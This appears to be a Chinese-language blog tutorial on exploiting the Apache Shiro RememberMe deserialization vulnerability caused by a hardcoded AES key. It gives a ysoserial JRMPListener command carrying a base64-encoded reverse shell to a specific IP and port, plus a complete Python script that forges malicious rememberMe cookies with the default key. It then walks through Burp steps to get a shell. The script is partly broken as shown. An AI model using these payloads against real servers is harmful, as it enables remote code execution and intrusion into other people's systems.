跳至正文

shiro框架漏洞与利用

简介

*Apache Shiro是一种功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理,可用于保护任何应用程序的安全。
*Apache Shiro 框架提供了记住密码的功能( RememberMe ),用户登录成功后用户信息会经过加密编码后存储在 cookie 中。在 Cookie 读取过程中有用 AES 对 Cookie 值解密的过程,对于 AES 这类对称加密算法,一旦秘钥泄露加密便形同虚设。若秘钥可控,同时 Cookie 值是由攻击者构造的恶意Payload ,就可以将流程走通,触发危险的 Java 反序列化,从而导致远程命令执行漏洞。

漏洞发现

*响应头包含 `rememberMe=deleteMe`

漏洞成因

*shiro 默认使用了 CookieRememberMeManager ,其处理cookie的流程是:得到 rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化。
*然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

利用位置

*当软件确实利用了shiro框架时,可以在请求体中看到cookies中有rememberme字段。

利用步骤

*burp抓包确认是shiro框架后
*使用shiro_exploit.py或其他工具爆破shiro默认的AES密钥(有很多)
*使用ysoseries工具在本地开启rmi服务,以便burp执行漏洞利用时候,可以访问rmi服务,执行远程文件调用,通常可以通过这种方式反弹shell。(ysoseries是序列化工具。)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNTAuMTU4LjEzNy43Mi81Njc0IDA+JjE=}|{base64,-d}|{bash,-i}'
注:使用了ysoserial的"CommonsBeanutils1" payload,该payload可以触发Apache Commons Beanutils库中的反序列化漏洞。恶意命令部分使用了bash命令,并通过base64编码来避免命令中特殊字符的问题。解码和执行命令的部分使用了管道符号"|"和bash命令"-i"来创建一个交互式的bash shell。
*将爆破出来的AES密钥添加进shiro.py脚本中,使用该脚本生成rememberme信息。
#shiro.py脚本内容
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT
    all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %               BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv +                                 encryptor.encrypt(file_body))
    return base64_ciphertext
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print "rememberMe={0}".format(payload.decode())
注:这里的command输入的是rmi服务的`ip:port`。
*最后将上一步生成的rememberme值,添加到burp中,发送请求,会利用反序列化漏洞访问攻击机上的rmi服务,访问payload文件,返回一个shell。

快速理解

*web应用使用shiro框架,具有反序列化漏洞。
*本地ysoseries.jar开启rmi服务
*爆破AES密钥
*使用密钥生成rmemberme
*burp应用rememberme执行漏洞利用